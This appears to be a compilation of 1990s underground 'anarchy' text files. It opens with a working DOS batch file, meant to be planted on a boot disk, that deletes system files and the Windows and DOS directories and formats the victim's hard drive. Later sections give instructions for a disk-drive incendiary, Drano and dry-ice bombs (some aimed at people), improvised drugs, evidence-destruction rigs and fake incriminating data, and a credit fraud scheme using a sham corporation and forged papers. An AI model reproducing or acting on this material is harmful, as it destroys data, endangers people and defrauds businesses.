	It's called Mr. Happy Delete!  It's just a batch file that can you to really mess someone's computer up.  All you have to do is create an AUTOEXEC.BAT file for a 3 1/2 inch disk or a 5 1/4 inch disk (but if the computer you want to mess up has a 5 1/4 drive, the computer is probably really old and not worth the trouble.)  This particular batch file will delete all start-up files (IO.SYS, C:\AUTOEXEC.BAT, COMMAND.COM MSDOS.SYS), it'll delete C:\DOS if it exists, the Windows directory, and if Windows 95 is under the directory WIN95, then it'll also be deleted. As an added bonus, it can also reformat the hard drive.  I don't think I need to tell you not to try this file out on your computer, but since  there are morons out there I'll say it any way: 



	DON'T TRY THIS ON YOUR COMPUTER!  And just in case someone's stupid to acidentally use the file, it's designed to ask you if you want to proceed to delete start-up files (and Windows and DOS), and it'll ask you twice if you want to format the hard drive.  Here's a sample file you might want to use:  



NOTE:  Unless you know how the CHOICE, GOTO, and ERRORLEVEL commands work, I don't suggest you try to change them.  Although you can change the messages after the ECHO statements.



@ECHO OFF

CHOICE /C:YN Execute Mr. Happy Delete?

If ErrorLevel 2 goto End2

If ErrorLevel 1 goto HeHe

:HeHe

ECHO One moment please......

@ATTRIB -S -H -R C:\*.*

DEL C:\MSDOS.SYS

DEL C:\IO.SYS

DEL C:\CONFIG.SYS

DEL C:\AUTOEXEC.BAT

DEL C:\WINDOWS\*.INI

DEL C:\WINDOWS\*.GRP

if exist c:\windows\winfile.exe GOTO DEL1

if exist c:\win95\winfile.exe GOTO DEL2

if exist c:\dos\command.com GOTO DEL3

:DEL1

DELTREE C:\WINDOWS /Y

GOTO END

:DEL2

DELTREE C:\WIN95 /Y

GOTO END

:DEL3

DELTREE C:\DOS /Y

GOTO END

:END2

ECHO Nothing deleted.

goto end3

:END

CHOICE /YN Do you want to FORMAT drive c:\?

IF ERRORLEVEL 2 GOTO NoFormat

IF ERRORLEVEL 1 GOTO FormatDrive

:NoFormat

@ECHO (The computer's hard drive wasn't formatted.)

Goto Cont1

:FormatDrive

@ECHO To format drive C, press Y when your asked if you

@ECHO really want to format.

FORMAT C:

@ECHO Drive C has been formated (Unless you pressed N)

:Cont1 

@ECHO This computer is now officialy screwed.  Thanky you for using Mr. Happy

ECHO delete!  Have a nice day!

:end3



	In order for this to work, you need to copy the files FORMAT.COM, CHOICE.COM, DELTREE.EXE, ATTRIB.COM, and make sure you save the file described above as AUTOEXEC.BAT saved on the disk that'll make someone very, very unhappy. (NOTE: Just in case anyone's stupid enough to save it in drive C, make sure you save AUTOEXEC.BAT as A:\AUTOEXEC.BAT or B:\AUTOEXEC.BAT)



Countermeasures
 B
y
:
 Thomas Icom



"An ounce of prevention is worth a pound of cure." - Ben Franklin



	With the recent crackdown on "computer hackers" and evidence that more busts are on the way modem users in general have been quite concerned that by exercising their rights they could have the S.S. knocking on their door because they called a BB S. This has prompted many telecomputists and computer bulletin board systems to cease operations for fear of being raided.



	With the recent raids at Steve Jackson Games and Jolnet perhaps these fears are reasonable.  However, if you are committing no wrongdoings you still, despite the KGB and Gestapo like actions of the Secret Service, have the right to exercise your freedom of information access via electronic media. There are only three laws relating to the use of modems and BBS systems. The first two are toll fraud and computer trespass. Toll Fraud is the avoidance of paying telephone company service charges. Computer trespass is the unauthorized access of a computer system. When you call a public BBS, or a private one you are a member of and pay for the call you are not committing either of these crimes. While they may not like the fact that you have a computer and modem, they can't touch you. The other law is not particularly computer related and goes under many different statues, but in all cases deals with encouraging people to commit illegal acts. This law applies to "illegal" information on BBS systems. 



	What is "illegal information"? Well any information which has no educational or informational purpose that encourages people to commit a crime. When applied to BBS systems it only includes calling card/long distance telephone service codes, credit cards, and computer passwords /login sequences. That's all. Hacking and phreaking information has an educational purpose in that it teaches people computer security, and shows dangerous flaws in systems that could be used by someone for nefarious purposes. As long as no direct encouragement is given to exploit these flaws the information is not illegal and is thus protected by the First Amendment: freedom of speech. If you are a BBS owner you can have all the hacking and phreaking g-files and message bases on your system and they can't do a thing.



	If they do, they open themselves up to a law suit. The prime examples of this are the Private Sector, OSUNY, and The Central Office BBSes. Private Sector was raided, but no charges were filed because there were no codes, passwords, or credit cards on the BBS. OSUNY and Central Office were online for years and were the subject of many investigations, but no action was ever put forth against these BBSes as n o illegal information was on them. The precedent is there. In order to evoke First Amendment protection on your BBS or newsletter display a clear statement that the information is for educational purposes only, and that no illegal use is implied or suggested.



	Now of course the Secret Service often violates these laws despite the fact that in doing so they don't have a legal leg to stand on. They do this on the basis of a technique which has been used from the Middle Ages, down through Nazi Germany, up to the various activities of the KGB in the Soviet Union: Fear and Ignorance. People who are ignorant of the law become afraid because in being unaware of their rights they don't know what the government can and more importantly can't do. Due to fear and ignorance they can operate carte blanche because they know the chance of reprisal by some irate citizen is very low. Also, once they raid someone they can gain intelligence on other modem users/"hackers". Once they have the info on the system, they can give it back. They accomplished what they set out to do.



	Fortunately you can fight back, and your efforts will eventually be rewarded. On many of the busts the S.S. has gotten burned, and it has been plainly shown to them that they can't continue to operate this way. However no modem user has yet had the balls to sue those bastards. With the current state of affairs the charges get dropped due to various improper procedures, but no specific precedent has been set to make them liable for their illegal activities. Once they lose in a lawsuit brought against them by a modem user they screwed over, we'll see some severe restructuring in that particular branch of the Treasury Department.



	The first stage in protecting yourself is to be aware of the laws and your rights. Knowledge is power, and they are well aware of that. In light of that they watch themselves when dealing with people who know their rights because they know t hat those people will have them nailed to a wall if they slip. Know your rights and be adamant about them.



	The second stage is that if you deal in anything even slightly controversial take precautions to secure the info in your system. Encryption is a definite must, as well as any other tricks to hide data on your system and prevent tampering. When encrypting data stay away from DES. While everyone say it's the best system the NSA has not recertified it, and the fact that it was developed for the government leads enough credence to the possibility of there being a back-door in the algorithm. About the best personal encryption system I've seen out there is the Absolute Computer Security System scheme by Consumertronics. A good idea is to double encrypt the data with two different algorithms. From what was shown by the recent busts in Operation SunDevil the technological expertise of the agents wasn't too high. To quote Lloyd Blankenship of Steve Jackson games, "They don't know what subdirectories are." This means that any moderately sophisticated data hiding technique should stump them. I would expect though they should be getting better as time goes on. 



	What I would do is use some of the tricks that computer viruses use when hiding data. Marking off used or "bad" sectors to put your data on, or appending it to ordinary programs. One of the best things you an do is put your data on floppy disks, then store them in a container containing a large electromagnet hooked up a tamper switch. This way if they raid you just give the box a good push an d everything's wiped. For paper documents use a burn box. This is a sturdy metal container with an incendiary mixture hooked up to a tamper switch. When they mess with it, everything is turned to ashes. You can store data "off-site" where their search warrant doesn't cover . This can be as simple as burying it in the backyard/under the shed or in a "friend's" house. Rig up special hidden access programs to your system, preferably in ROM, so that if your data isn't accessed in a certain way it gets wiped. 



	If you want to be real nasty, put some fake "incriminating" data on your system for them to bite onto.  Good suggestions would be random phone numbers with an extra 4 digits attached or random 16 digit numbers with fake names. This way it looks like they've found calling cards or credit cards.  Then if they are stupid enough to take you to court, you can explain where you got them from.



	Even if they aren't stupid enough to fall for that trick, you still have wasted their time. Another idea would be to make a fake database of fellow hackers. This way they waste time tracking down all those false leads. These techniques would serve to make fools of these assholes.



	Now if you do happen to get raided or put under surveillance there are a number of things you can do. If you see any "strange activity" outside your house call the police. If some "strange people" come on your property you can warn them that it's private property and then have them arrested for trespassing. You can also go outside and start taking pictures or videotaping them. That pisses them off but they are generally loath to do anything because you'll have evidence against them. If they come over to ask you questions politely refuse and tell them to talk to your lawyer. If they persist have them arrested for trespassing and harassment. You should also check their ID. John Williams and I have often run into corporate and idependent goons who decide to visit you in some sort of attempt to intimidate you. If their ID looks fake or it's otherwise obvious that they're not real law enforcement then have all the fun you want with them! If you receive a phone call, turn on your taperecorder, refuse to answer any questions, an give them the name and number of your lawyer. The tape recorder is important as you'll want evidence of the phone call if their manner of talking to you on the phone opens them up to legal repercussions. And always before you pick up, state the date and time on the tape, and make sure they identify themselves to you.



	If government agents come with a warrant call your lawyer, and document everything. Actions they commit on the search warrant may screw them later, but you'll need evidence. Videotape them if it's feasible, and if you have a friend in the press call him/her. Above all invoke your right to remain silent, and don't help them by opening your mouth. With the recent rash of Gestapo-style no-knock warrants a modem using friend of mine has started keeping a .44 Magnum by the door. His explanation is since he's not doing anything illegal if someone comes crashing through the door he's going to assume its a burglar or psychotic and protect his property and family until the police come. We of course don't recommend that you follow his example, but the choice is yours. After all a law abiding citizen has the right to defend himself.



	After the bust have your lawyer keep on them like a fly to manure. According to the law a search warrant is supposed to be for gathering evidence for an indictment. If no indictment is forthcoming (none should be if you're clean) then demand your property be returned to you. In any event you should always file suit and seek legal charges against them. Just the simple act of doing that creates hassles for them.



	Before I wrap this up, let me state that I have nothing against law enforcement people. Most of the police officers out there do a fine job, and are good people. However, the few rotten apples in this country's law enforcement infrastructure do a lot to blacken the name of police officers everywhere.  I am also amazed that with all the murderers, rapists, and child molesters running around lose in this country, our police agencies are so quick to jump to the whim of some whining, clueless, control-addicted corporate bureaucrat; who's probably broken more laws than the worst hacker ever could, and go after innocent telecomputists. (Why wasn't Neal Bush arrested?) I would tend to believe that child molesters should have a higher hunt-down priority then kids with computers; however sometimes that doesn't seem to be the case.



Driving Tips



	Motor vehicles are probably the most common form of transportation used today. Perhaps this is why most people involved in an operation get busted while driving. In New York & many other states, your rights are nonexistent while you're behind the wheel, and you can get pulled over and searched for any reason. So, to stay out of trouble and avoid any problems that might result in

getting pulled over, I've put together some guidelines that should help keep you out of trouble while you're on the road.



1. 	Keep tabs on the local law enforcement agencies. While most cops are more or less decent and won't bother you as long as your not driving recklessly, there are a few bad apples who will bother you for whatever reason. Also, remember that you have no rights on the road. You're fair game for any reason. Get ahold of a mobile scanner and hide it behind your dashboard or in a seat. Scanners are illegal to have in vehicles in some states and much frowned upon in others. Run a remote speaker to a convenient but hidden spot with a hidden switch to turn it off. This way they can't see anything that looks suspicious, and you can cut out the audio quick if you get stopped. Also remember to program in secondary car- to-car and mobile to base frequencies. This will give you an indication of law enforcement activity nearby you and allow you to take appropriate action should your plates get checked all of the sudden.



2. 	Drive at the proper speed. By that I mean not too fast and not too slow. Not only can you get pulled over for speeding, but if you drive too slow, you'll get pulled over for being suspicious.



3. 	Know your geography. Intimate knowledge of the roads in your area of operations is essential.  This way, you can take alternate routes if there is an obstruction down the road as well as know what roads not to take so you don't make an evasive turn into a dead-end street.



4. 	Stay off well-traveled roads whenever possible. You're less likely to get stopped on a secondary road.



5. 	Drive something appropriate looking for your locale. If you drive something too fancy or too beat-up you will attract more attention to yourself.



6. 	Keep anything attention getting out of sight. If you get stopped, and nothing is visible, then there is less cause for them to search your vehicle.



7. 	Obey all the traffic laws. This is common sense, but many people who were wanted criminals got nailed by a simple traffic infraction stop.



8. 	If you get pulled over, be polite even you are insulted and harassed.



	Also, don't make any sudden moves. Again, common sense, but some stupid people think that they have to mouth-off when they get pulled over and given a hard time. They're the ones who usually get busted.



Daily Essentials  By: Red Phaze



	What you ask?  What is this file?  Well what it is, is a file that tells you what you should have with you at all times.  Now this is not a file that tells you what you will need to go and rob a warehouse to pull a phone job or anything like that.  What is does tell you is what you should have on a day to day basis.  Why would I bother writing this file you ask?  Well, too many times I have seen shit happen that could have been avoided if people had only prepared and taken the basic things with them.  Carrying only a few simple items, you can make you self prepared for any occasion.



Boots:  HUH?  Am I going to go out without shoes on?  No, but you might decided to wear the good old Nikes instead of the steel toed Docs on a day that the you will need to steal toes.

Don’t ever go out in public, without the steel toed boots on.  If you are going to be crashing someone’s pad, then by all means wear comfortable shoes (we all know boots hurt after a while).  Yet, if you are going to be crawling the streets for the night, the boots gotta go with you.



Knife:  The tool of the street trade.  Like American Express:  Don’t leave home without it.  Now, a knife isn’t like a pen.  When you pick a pen you want something that writes, however, a good knife is not just one that cuts.  My style of knife is a 6 inch sheath blade with a rubber handle, single edged, with an icepick tip.  I prefer sheath blades because they hang on your belt and are easily accessible.  However, in the blade department:  To each is own.  You have to pick a blade that you like.



Lighter:  Zippos and Butane Torches only.  They are the best to get lit in the wind.  Zippos are reliable and safe, because you can see the flame.  Been burnt to shit by the Butane Torches, damn flame is clear, but is fucking hot.  Those .79 cent bic lighters suck shit, however my partner Master Eldar likes to use them to do flame tricks in his hand.



Matches:  Why do I need matches if I have a lighter?  Well, matches are good for setting garbage cans on fire for those nights when you are cold.  It is much easier to drop a book of matches in a barrel then to piss around lighting paper and trying to torch the entire barrel.



Small Flashlight:  In case you decide to go trashing, and other reasons.



Allen Keys or Micro Screwdriver:  A street urchin never goes anywhere without a small lock picking tool.



	These are the most basic thing you need to survive on the streets.  Of course guns and other tools are good to have, but those things are for specific circumstances, these are the things you need on a nightly basis.



Day After, The By The Omega Man



	What I've done this issue is to compile some generalized "household hints" which might help retain your freedom in the event of increased government oppression, or other survival situation. Although I feel the general trend of things is downhill these days, perhaps an ounce of prevention will avoid the need of a pound of cure.



	The first thing you should do is to present as much as a profile of "the average man in the street" as possible. I know this may upset some of our more colorful readers, but the decision is yours. What's more important in your mind, a little self-expression now, or less hassle not only today but also after the shit hits the fan?



	If you want to express yourself today, protest whatever the government is up to, write articles which piss bluenoses off, or engage in similar controversial activities then adopt a second identity, and keep the two separate. Not only is this a wise decision, but also perfectly legal. You have a right by law to go by any name you wish as long as no illegal intent is shown. In fact, every survivalist should have at least one alternate identity kept handy in case the shit hits the fan. Paper tripping is still fairly easy to do, so do it now before it becomes more difficult. I suggest people reading this who are interested in alternate identities to read The Paper Trip I and II by Barry Reid (available from Eden Press, and other publishers) and Secret and Alternate Identities by CWL (available from Consumertronics). If there is sufficient interest and I get letters from readers saying so I'll do an article about paper tripping in a future installment.



	The second objective is to acquire as much knowledge in as wide a range of fields as possible. Ignorance is no excuse; knowledge is power and anyone who doesn't believe it is either misguided or brain dead. To assist you in any situations which may come up today you should have a working knowledge in as many technological, outdoor, scientific, and military subjects as possible.



	Firearms & other weaponry, computers, electronics, camping & other outdoor skills, mechanics, hunting & trapping , foraging, homesteading, agriculture, chemistry, and medicine are just a few topics which are handy to know about.



	While you won't be able to learn everything, strive to learn as much as you can. Also, learn how your ancestors lived in the previous century before everything was mass produced by corporations and people had to do it themselves. This knowledge will prove to be invaluable. To start, you can go to your local library and take out some books on the above topics which interest you the most.  While the range of books is limited to non-controversial topics; you'll be surprised just how much info is there. As an example, in a typical library you should be able to pick up books on mechanics, computers, electronics, outdoor skills, and firearms. 



	With those five topics you will acquire knowledge on how to keep essential equipment running when support for them fails, learn how to make state of the art communications and analytical systems that will help you keep in touch and make strategic decisions based on data you receive, design sensor and information gathering systems to tell you what's going on with the outside world, stay alive and prosper in primitive conditions, and defend yourself against attack. 



	Essentially, from having knowledge in those 4 skills, you have gained an significant edge in successfully surviving disasters ranging from economic depression, to natural disasters, to a government dictatorship's rise to power. If you live near a college or open military post, check out their libraries too. They usually contain more specialized knowledge. On the more "hardcore" topics, there are several good mail order outlets which sell information ranging from homemade C4 explosive to computer hacking.



	If a particular topic piques your interest, then you can pursue it further. Most technological and outdoor enthusiasts are more than happy to help you learn, there are educational institutions which offer courses on the whole spectrum of scientific fields, and if you look around you can find a sympathetic member of the National Guard or veteran who will give you some advice on how to stay alive in hostile situations. American Survival Guide magazine even has a free service for survivalists to contact each other for assistance, information, and other needs.



	The second stage of acquiring knowledge is keeping informed about the world around you. This is harder than it seems. Yes it is true that we live in the information age, but most of the info is tainted. While it is easy to learn that Joe Blow killed his wife because she was servicing the milkman or that Donald Trump bought another city block, it is hard to find out news that effects you or has some significance on your existence. You can thank the mass media for that. So, if you really want to stay informed, I suggest you stay away from television, newspapers, and other forms of mass media. All it is for the most part is propaganda for the corporations, government bureaucrats, and big shots; all of which have screwed the American people since the 1960s, and still try to think of ways to take away your rights and keep you from figuring out what's going on so they can screw you some more.



	There are several alternatives out there which are a million times better than the traditional mass media. Two are alternative press publications, and international shortwave stations. They offer a more objective and unbiased view than the TV networks and publishing corporations, and you don't get a large spoonful of attempted brainwashing from the big shots when you read them. This is important because you will be using this information to determine when the shit hits the fan in one of its many incarnations and when to take action.



	All that is needed to receive international broadcasts is a radio receiver capable of picking up the shortwave radio band (1.6-30 Mhz.). These receivers are available from Radio Shack and mail order outlets. Costs start at $60. When you listen to Radio Sweden, the BBC, Radio Deutsche Welle (Germany's Shortwave Station), and other international broadcasters, you'll notice the tremendous difference between them, and domestic broadcasters like CBS (Colombia Brainwashing Service). Alternative press is more common out there than you think. Several are available at news stands nationwide. The others are also easy to get.



	While you also are preparing your mind, you should also be preparing your body. Take up a sport and include it in your daily routine. While knowledge is useful, if you don't have the physical strength you'll still be at a marked disadvantage. Good sports are martial arts, running/walking, endurance weight lifting, and tennis. While this does take up some time, it's very good for you both now and in the future, and you'll feel better overall. Once you have assumed a low profile and started acquiring knowledge you can start planning and making preparations. One of the first things you should do in this stage is to make an assessment of what you have that could help you in a survival situation, and what you will further need in order of priority to bring your preparedness up to a sufficient level. This seems the hardest part of getting ready, but once you reach this stage you should have acquired sufficient knowledge of the be st way for you to do this. You will also have acquired at little cost a wide variety of knowledge in many different fields; which will also help you in the present.



Diskette Bombs By the Jolly Roger



Materials:



A disk

Scissors

White or blue kitchen matches (they MUST be these colors!)

Clear nail polish


Procedure:



Carefully open up the diskette (3.5" disks are best for this!)


Remove the cotton covering from the inside.


Scrape a lot of match powder into a bowl (use a wooden scraper, metal might spark the matchpowder!)


After you have a lot, spread it evenly on the disk.


Using the nail polish, spread it over the match mixture


Let it dry


Carefully put the diskette back together and use the nail polish to seal it shut on the inside (where it came apart).




	
When that disk is in a drive, the drive head attempts to read  the disk, which causes a small fire, enough heat to melt the disk drive and fuck the head up!  Let the fuckhead try and fix that!



Doing Something By Thomas Icom



	Taking a look at the "underground culture" scene for many years now, I am saddened and disturbed at what I am seeing. Many people have been involved "spreading the word" about the problems in our society, but have been falling short in their effectiveness in creating a positive change in society. Some of their actions have actually been slowing, or halting the pace of change which is most desperately needed.

	

	Within the past year while I've been working on what is now this magazine, I checked out several "underground" magazines, and interviewed several people involved in various aspects of the underground culture. The results were disappointing to ay the least. It appeared that while everyone was more than happy to complain about what was wrong, not very many were knowledgable about, or even interested in the actual means to take action, and go about helping institute the change which they so much desire. While this is a general trend in society anyway, I still found it heart-breaking that I would find it at the same extent in the "underground". Some people were even, upon hearing of my proposed project, were horrified that I could do such a thing.



	One of the most disturbing things I saw was a desire to complain, and demand action against various problems which have no relevance to the current problems which plague this country. This country is slipping into a dictatorship, and some people seem to be more interested in saving the Mongolian Cluster-Rat than saving the country they live in. While I have some respect for these people for at least speaking up about something, I cannot comprehend why they are more interested in that than in keeping from being put into a concentration camp! Common sense dictates that before one goes and tries to fix something outside his house, he should make sure his house is in order first. Without having the problems in this country fixed first, you might as well forget about everything else, as you won't get anywhere with them. This country, which is founded on the best principles of government ever conceived, was the product of people who got up, and took some real risks to create, and preserve it. If it wasn't for them, it is very likely we wouldn't be around right now.



	The second disturbing thing I saw was how for the most part the "underground" was simply content to use "symbolic protest", and little else. It appears that many people haven't learned that symbolic protest is worthless, and only gets you mark ed for later persecution. If you want to change something, you have to do more than send in petitions, and walk around with signs. The bureaucrats in the government, and the corporations that put them there don't care about what the people think, as long as they stay in power. The only way to get the message across to those lizards is to push back when they push you. There is quite a bit that everyone can do in order to instill fear in them, and get them back in line, without needlessly exposing one's self.



William Powell in The Anarchist Cookbook said:



	"I detest symbolic protest, as it is an outcry of weak, middle-of-the- road.....eunuchs. If an individual feels strongly enough about something to do something about it, then he shouldn't prostitute himself by doing something symbolic. He should get out and do something real." (Pg. 62) 



	The last, but not least of disturbing trends I've seen is a disdain to absolute hatred of the concept of survivalism by the vast majority of the underground. Why this is totally baffles me. I'm a non-violent person, but I realize the advantages of being adequately prepared, particularly when my, and my family's welfare and safety are at stake. Many members of the "underground" upon my talking  with them, appear to support the current drive to take away Second Amendment rights; when anyone with enough sense should realize that doing so could only make things worse! You are up against people who have murdered, pillaged, and ruined thousands of lives without so much as batting an eyelash, and will continue to be as well equipped, and as ruthless after your means of defense and preparedness are gone, as they were before. Since this is the case, why deny yourself of getting as much of an edge as you can. Again William Powell had something to say about it, which sums things up:



	"I have no patience with individuals who claim that everything will be beautiful if guns and other weapons are outlawed. These people do not have the foresight to realize that, if weapons are made illegal, they will only be possessed by enemies of the people.....I feel very strongly that every person should be armed and that he or she should be prepared for the worst. There is no justice left in the system." (Pg. 78)



	This is not to say that everyone in the underground is responsible for these problems. There are quite a few good people out there, mostly Cyberpunks, who are doing something real to help this country, but by and large there still leaves a lot to be desired. Hopefully, the culture can either mature, or become re-born, so greater progress for real, positive change in this country can be made. Then it could become something that its founding fathers can be proud of.





Drano Bombs:  By: Exodus



Materials:



Glass or plastic coke bottle with a cap.

1 can of CRYSTAL Drano, NOT LIQUID DRANO!

Some aluminum foil.

A cup of water.



Procedure:  Fill the bottle 1 fourth to 1 thirds of the way with CRYSTAL Drano.  Get the aluminum foil and make about 7-10 balls of it that will fit  into the bottle, then put them into the bottle.  Now, get the cup of water and pour it into the bottle. After this is done, quickly screw the cap on as tight as possible. Now shake the bottle, throw it, or whatever, just so the contents get mixed together. What will happen is it will get so hot in the bottle that it will have to blow up... With a plastic bottle you have about 15 seconds before detonation, with a glass bottle you have anywhere from 30 seconds to a minute.



Drugs  By: The Jolly Roger



	So, you seem to be in the season where weed has gone up to like $10.00 for a nickel and that price is just way too high.  What are you going to do?  Well, if you really need a high then you can try any of the following



Bananas:

1. Obtain 15 pounds of ripe yellow bananas

2. Peel all and eat the fruit. Save the peelings

3. Scrape all the insides of the peels with a sharp knife.

4. Put all the scraped material in a large pot and add water.

5. Boil 3 or 4 hours until it has attained a solid paste consistency.

6. Spread paste onto cookie sheets and dry in oven for about 20 minutes. This will result in fine black powder. Usually one will feel the effects after smoking three to four cigarettes.



Toads:



1. Collect five to ten toads, frogs will not work. The best kind are tree toads.

2. Kill them as painlessly as possible, and skin immediately.

3. Allow the skins to dry in a refrigerator four to five days, or until the skins are brittle.

4. Now crush the skins into powder and smoke. Due to its bad taste you can mix it with a more fragrant smoking medium.



Nutmeg:



1. Take several whole nutmegs and grind them up in an old grinder.

2. After the nutmegs are ground. Place in a mortar and pulverize with a pestle.

3. The usual dosage is about 10 or 15 grams. A larger dose may produce excessive thirst, anxiety, and rapid hart beat, but hallucinations are rare.



Peanuts:

1. Take 1 pound of raw peanuts (not roasted)

2. Shell them, saving the skins and discarding the shells.

3. Eat the nuts.

4. Grind up the skins and smoke them.



Cough syrup: 	Mix robitussion a-c with an equal amount of ginger ale and drink. The effect are sedation and euphoria. Never underestimate the effects of any drug! You can od on cough syrup!



Dry Ice  Courtesy of Red Phaze



Generic Form for Dry Ice Bomb:



Procedure:  Take a 2-liter soda bottle, empty it completely, then add about 3/4 LB of Dry Ice (crushed works best) and (optional) a quantity of water.



	Depending on the condition of the bottle, the weather, and the amount and temperature of the bottle the bomb will go off in 30 seconds - 5 minutes. Without any water added, the 2-liter bottles will go often in 3-7 minutes if dropped into a warm river, and in 45 minutes to 1 1/2 hours in open air.



	The explosion sounds equivalent to an M-100.  Plastic 16 oz. soda bottles and 1 liter bottles work almost as well as do the 2-liters, however glass bottles aren't nearly as loud, and can produce dangerous shrapnel.



	Remember, these are LOUD! A classmate of mine set up 10 bottles in a nearby park without adding water. After the first two went off (there was about 10 minutes between explosions) the Police arrived and spent the next hour trying to find the guy who they thought was setting off M-100's all around them..



Uses For Dry Ice



	Get a small plastic container with lid (we used the small plastic cans that hold the coaters used for large-format Polaroid film). A film canister would probably work; the key is, it should seal tightly and take a fair amount of effort to open.



	Place a chunk of dry ice in the can, put on the lid without quite sealing it. Put the assembled bomb in your pocket, or behind your back. Approach the mark and engage in normal conversation. When his  attention is drawn away, quickly seal the lid on the bomb, deposit it  somewhere within a few feet of the mark, out of obvious sight, then leave. Depending on variables (you'll want to experiment first), you'll hear a loud "pop" and an even louder "Aarrggghhh!" within a minute, when  the CO2 pressure becomes sufficient to blow off the lid.



	In a cluttered lab, this is doubly nasty because the mark will probably never figure out what made the noise.



	Put 2-3 inches of water in a 2-liter plastic pop bottle.  Put in  as many chunks of dry ice as possible before the smoke gets too thick.  Screw on the cap, place in an appropriate area, and run like hell.  After about a minute (your mileage may vary), a huge explosion will  result, spraying water everywhere, along with what's left of the 2-liter bottle.



Paint Bombs with Dry Ice:  



Materials:



A metal pain can with a re-fastenable lid.  

A nice bright color of paint (green, pink, purple, or some gross color is perfect)

A quantity of dry ice.



Procedure:  Place the pain in the can and then drop the dry ice in.  Quickly place the top on the can and run like hell!  With some testing you can time this to a science.  The timing depends on the ratio of dry ice to paint, and then size of the can to how full it is.  If you are really pissed off at someone, you could place it on their doorstep, knock on the door, and then run!  Pain will fly all over the place.







Miscellaneous things to do with dry ice:



	Has anyone ever thrown dry ice into a public pool?  As long as you chuck it into the bottom of the deep end, it's safe, and it's really impressive if the water is warm enough



	Fun stuff. It SCREAMS when it comes into contact with metal."

	

	You can safely hold a small piece of dry ice in your mouth if you KEEP IT MOVING CONSTANTLY. It looks like you're smoking or on fire.



Editor's Note:   Dry ice can be a lot of fun, but be forewarned:  Using anything but plastic to contain dry ice bombs is suicidal.  Dry ice is more dangerous than TNT, because it's extremely unpredictable.  Even a 2-liter bottle can produce some nasty shrapnel:  One source tells me that he caused an explosion with a 2-liter bottle that destroyed a metal garbage can. In addition, it is rumored that several kids have been killed by shards of glass resulting from the use of a glass bottle. For some reason, dry ice bombs have become very popular in the state of Utah. As a result, dry ice bombs have been classified as infernal devices, and possession is a criminal offense.




Dummy Corporation
, Setting up a
  Courtesy of Red Phaze



How to get anything you ever wanted for free:  The "system" is a series of checks and balances. It's an insiders club and unless you know the rules or are willing to break them, you'll probably never have a pot to piss in. 



	Where does it say, we have to put up with, read about or watch on TV, the exploits of people like Donald Trump, Robin Leach or one of the "Kennedy's". Personally, I'm tired hearing about all their bullshit. Who gives a shit what Hillary or Tipper are wearing either?  When people like "The Donald" make a poor business investment and can't pay their bills on time, what do they do? They re-negotiate. Yep, that's right. They tell the bank "I can't pay but I'm such a fabulous person you should re-negotiate my loan.” Bullshit!  How fast do you think the bank would have you or me out on our ass? In record time, right?  Money is power and unless you have money you're powerless right? WRONG:  Money is an illusion. Power is an illusion. Both are projected by cunning and affluent people and organizations to get what they want. And, if they can't pay for it, they go bankrupt or re-negotiate.  Why should they have all that luxury and not us? Hell, I can default on a loan as well as any of them!



	Almost every company in America will ship you goods on credit if you project the right image, ask the right questions and have the right answers.  People will kiss your ass if they think you have great wealth. The best restaurants will seat you "up front" if they think "you're a player". Why not? Sounds good to me.



	Is this method for acquiring material things legal? Hell no! But half the shit Big Brother does to us everyday isn't legal either.  Want to ride around town in a big black imported car for free? How about a brand new Pentium computer for the office? The kids want Mopeds? No problem! Pay attention.



Picking a company name

	

	What's in a name? Business wise it could mean everything if you want to get over. It also has a lot to do with what you want to acquire for free. Let's say you want to start a new business and need all-types of office equipment.  You could call yourself "Sal's Pizzeria" but that wouldn't wash too well when you're trying to establish a $100,000 line of credit. Most credit managers will dump the application in the round file and require COD cash. Not the best choice of names. How about something like Tri-Star Industries Intl. or RCA Electronics? The idea is to project the image of a big well known company.  Joe's Paving Company won't work either/  Think of a large company and play with the name something that gives the illusion of being a huge conglomerate like Microsoft Corporation but in fact you use Microsoft Labs. Inc. Close but no cigar, get the idea? When you speak with a salesman you tell him you're from Microsoft.



	I know someone who put together a company called Tandy Merchandising. When he applied for credit with vendors he alluded to being the buying agent for Tandy Corporation (Radio Shack) but sent purchase orders stating his company was Tandy Merchandising. The greedy salesman always figure it's a subsidiary and try their best to push initial orders through credit in hopes of "getting the big one". This guy always ordered two dozen "pieces" as a sample order. The list of stings was impressive. He also always ordered the best model of everything with all the options. Imagine having two dozen Pentium computers, laser printers, desktop scanners, big screen televisions, fully blown out stereos with speakers, etc, etc., etc. These things can be turned into easy cash..



	The goods you can acquire are only limited by your imagination lets say you want to open your own recording studio. No problem. Put together a "wish list" and cut the purchase order. Fax it to the appropriate vendor and wait for the salesman to call. Oh yeah, I forgot a few things. 



You'll need to set up first:



	Let's say for the purposes of this lesson we're gonna pick RCA Electronics as our name, not to be confused (God forbid) with RCA - Radio Corporation of America, the giant who made the radio, phonographs and television famous. Sounds like a good name to me. Imagine the greedy son of a bitch salesman at the "Blue Widget" company when you call and say you're "John Smith (think of something better), vice president of corporate purchasing for RCA" and you need 50,000 blue widgets. I guarantee the salesman will shit...but "since you got burned, dealing with XYZ company you'll require 500 samples ($200 each) for testing purposes". You must have them within ten days for evaluation and you'll send along a purchase order. I guarantee the order flies through processing . They will extend you Net 30 days payment without even blinking. They want the big order.



Acquiring dummy corporate papers:



	To open up a bank account you'll need a corporate seal and certificate of incorporation. You'll also need a Federal Tax ID number. Certain states may vary but generally this is all that is

required. Find a corporate resolution book from somewhere and get the certificate of incorporation. This is the proof that the corporation is registered with the state. Get a good typewriter, preferably one with interchangeable fonts. Make a copy of the certificate of incorporation and "white out" the corporate name. Insert your bogus corporate name (RCA Electronics Inc.) on the original and make a good photocopy. You should now have a good photocopy of the certificate of incorporation with your bogus corporate name on it.



	Now you need a corporate seal. Let your fingers do the walking through the yellow pages and find a company that makes rubber stamps. Generally these companies also make corporate seals. Call them up and tell them you lost your company seal and need a replacement to "do a deal" in a hurry. Most places will take the order and have the new seal with your bogus corporate name on it in a few days.  The cost is usually about $20. You'll have to supply them with the corporate name, year and state of incorporation. Get this info off the certificate of incorporation you liberated. Pickup the seal in a few days and you're all set. Be sure to get a tax ID number. In the New York area they generally start with 13-xxxxxx. The second set of numbers is seven digits long.



Opening a bank account:



	Wait a minute. What is this? I thought we were robbing this stuff? Why do we need a bank account? The simple answer is, some companies no matter how well you try, will always require a company check with the first order. I suggest staying away from these companies but sometimes they have merchandise you're almost willing to die for  No problem. The check is gonna bounce anyway.  You'll also need a bank account for a reference (don't worry we'll cover that).



